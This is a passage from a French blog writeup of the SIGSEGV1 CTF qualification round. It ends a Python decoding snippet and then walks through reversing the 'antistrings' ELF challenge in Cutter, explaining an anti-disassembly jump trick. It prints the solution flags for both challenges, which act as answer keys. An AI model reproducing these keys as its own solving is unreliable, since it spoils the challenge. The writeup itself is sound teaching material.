</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec1</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">else</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec2</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="sc5">print</span> <span class="sc11">sol</span></span><br />
L&#8217;exécution fournit le flag suivant : <span class="w-inline-code">sigsegv{LASTEGACESTPASSIFACILE}</span>.</p>
<h2>Reverse : antistrings (x0rz)</h2>
</div>
<div>
<p>Description : Faites-moi confiance, XOR n&#8217;est pas la solution.</p>
<div style="text-align: justify;">Le challenge se présente sous la forme d&#8217;un binaire ELF 64-bit <i>strippé</i>. Ce writeup utilisera <b>Cutter</b>, l&#8217;interface graphique de <b>Radare2</b>. Les première étapes sont assez simples, puisque la fonction <b>main </b>ne possède qu&#8217;un appel à une autre fonction :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png"><img decoding="async" src="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png" border="0" data-original-height="166" data-original-width="445" /></a></div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: justify;">Si l&#8217;on tente d&#8217;afficher le graphe de la fonction située à <b>0x004009e0</b>, l&#8217;erreur suivante se produit :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png" border="0" data-original-height="551" data-original-width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">Il s&#8217;agit là d&#8217;une technique anti-reverse, que l&#8217;on peut observer plus en détails dans l&#8217;affichage linéaire de Cutter :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png"><img decoding="async" src="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png" border="0" data-original-height="182" data-original-width="446" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ci-dessous le détail des instructions :</div>
<div style="text-align: justify;"></div>
<ul>
<li><i>push rax</i> : sauvegarde la valeur courante de RAX sur la pile</li>
<li><i>xor eax, eax</i> : remet la valeur de EAX à 0</li>
<li><i>test eax, eax</i> : teste si la valeur de EAX est nulle et fixe le flag Z à 1</li>
<li><i>pop rax</i> : récupère la valeur sauvegardée de RAX depuis la pile</li>
<li><i>jne 0x4009ee</i> : saute à l&#8217;adresse indiquée si le flag Z vaut 0 (non pris)</li>
<li><i>je 0x4009ef</i> : saute à l&#8217;adresse indiquée si le flag Z vaut 1 (pris)</li>
</ul>
<div>Seulement, les instructions à l&#8217;adresse <b>0x4009ef </b>ne sont pas désassemblées puisqu&#8217;une instruction <b>jmp </b>commence à l&#8217;octet précédent. Le saut à l&#8217;octet précédent n&#8217;étant jamais emprunté, il est possible d&#8217;ignorer cette instruction et de demander le désassemblage à partir de <b>0x4009ef</b>.</div>
<div>Pour cela, un clic-droit à l&#8217;adresse <b>0x4009ee </b>fait apparaître le menu suivant :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png"><img decoding="async" src="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png" border="0" data-original-height="166" data-original-width="481" /></a></div>
<div></div>
<div>Il est alors possible d&#8217;observer le code qui devrait être normalement exécuté :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png"><img decoding="async" src="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png" border="0" data-original-height="78" data-original-width="353" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.</div>
<div class="separator" style="clear: both; text-align: justify;">L&#8217;analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&#8217;identifier la fonction qui gère le flag, <b>sub.BB_7c2</b>. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png"><img decoding="async" src="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png" border="0" data-original-height="384" data-original-width="404" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div>Le flag récupéré est alors <span class="w-inline-code">sigsegv{W3llPl4y3d}</span>.</div>
</div>
<p>&nbsp;</p>
<div style="text-align: right;"><b><span style="color: #351c75;">Jean MARSAULT</span></b></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
